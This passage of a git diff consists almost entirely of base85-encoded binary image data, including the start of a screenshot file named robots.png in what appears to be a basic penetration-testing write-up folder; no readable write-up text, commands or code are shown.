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 BI#2)r literal 0 HcmV?d00001 diff --git a/writeups/basic-pentesting/robots.png b/writeups/basic-pentesting/robots.png new file mode 100644 index 0000000000000000000000000000000000000000..3c1b8d1025c11da086d6591ece333484ac8fcbbc GIT binary patch literal 16010 zcmeIZWmr^i^!H15%Fw9@4$>i=BHf@;B3(*10z~B>-gm8i-)nu=cY>7_rLZx`FyP?euw|s*sKUV^AOrg)Xehwe(yyox z_ycdRD)kz!c#vWn_@Hd8A!DMT0QVBuM}tFve*%a2cna_jF3=nf>CZkK96j(C4h}IL z{(pa)j_}{N2*~M(|Lwz-Jf5h^wV(~$MAQ7OhJ%KJJino}C5yh1wSh51xu32=fg z{J^fIv4cL1i=~B?J->_4vp;9>1N)DMS)bATImO|#&@&AMWg2m7J7XGd7B&{PXTlgX zG&F*CMkf5KZzTU+4tx@NX6E2v!_Ug*-)_^1n;6vj5jC zpn|Z?u(AHny@5*wACK}Y*_j&yB|qL@m|gJCng6e2|H=_$eJuR{QJKFj{c{v( zsxXEi>;H6{Fb3(zWmKReeP!N=y>)@#PeE>^cr_WQ20qYAUOCXJtQ7#c*aBSvyy6kM zmb>PGmq)XpE8pq*pvn6$H8su+52rWt4HXIUYr!eW&ntvDSQVckJfr#Z9=<>d_~eFw z@b?q2#Y2;3P?o@h$N&3AL&^r_KMV3g`};;hP{nwQ|3(z)?;8Q00r>~ozgy8DczeYl zyhHkTC7!pasI2!(pMO^diPF&Ih!TqZyYdYUUZiSz$p4>W#X;WoLqe11TO(O#){7pO zl$j?5{g2fY%&|#S6-<`={T-3e>xd1yb{Cv5M!VlYXpdJ)d{BDqA;+VJ-TLWVYKd-jyKA@}t!V zk^1#G?Lm**3l-_plb3XxqGm3|6|V$XCi&c9rftMm*TyTRN$E(PjOywrEJW=OD7S8 zE%{o-s7P+xu-l1iXfI(x4R`Rb8H=0(fxyc ztSx)WF+X~WY8G~!=4^j{`skqauhUV`f#xVH$um7ItlLN|_I$Y4PcPX_aJuBYT8p0i zz_Id2&&qGD?Vh~OoCp1m#vLb}* z$xX|uz6G4G4~aZDM2OtGe5U*Go$!wlnYki3G9m;0P(}VJzw%P(a&An=e&Cft;PG0t zQvJNs?7#reqPvw3I=v0;S2iDV^Xw=JauBhm5&qBPa&=vgDz1etVqHNCHltHb*^R`{ z#W>`6rYVjSF*Ra47h_5y>*lb%ilKJLp;V!0ISycKGX(ZZJLWk0m{#c%jJ}no8P+Zb z*sq51q^?%BJIz{d9yH$^jGna@%*ddHpLVGZSbthX+y=V^2tM7b<2~)?)LCry5U-y$ zWIw1~4G?;{mzS^p(fwGWX1{v2p40@|X1n5rU8bh+Dt1;skdh+#`QJW46r(A4nq*Nf zv*9~XJ!KHO2Q>^wpLA!vzgqR5ri~C(C7S{Ii7fS)99!;gDhwFo7pK0GfxL~czYPeU z_D?&EDNMG_Os75T}wlC;B-wcsG%W-`tY32_6p=XG0+uWqwT*K@zah@$s?N_C#+ zztyLK3aZ(%;y6bLUF4(jIKej4Jj>^u7lpEfJBPX^@6Y5fhQ)E|4i77agl%o=iT;dx z5L)dPzbh#tvdhsSo3vB4L$6_kkkdwlFI~rXb%rC8(?Z^SdBNk(1QCO{KsgNwk%e!O zO?MZwb!o76ZT4^G7jZ#T+G@o~MIg4wYc&eW(Fi-6F$JFW?K{A3I6&SmdT&&M?$%Q8 zx{|D$r`t+|)Zb$4k)k-98m2MiwB8<;_puP(qZ=;!6Aw1#ywJ9+`d#igsl#(hl!oEy z=XtYVqpeJsw!k0h-mM*8o)ymj@^m6H9U9}$oRg05o#JtRqj?ee5%);QJ|X$b&UdTr 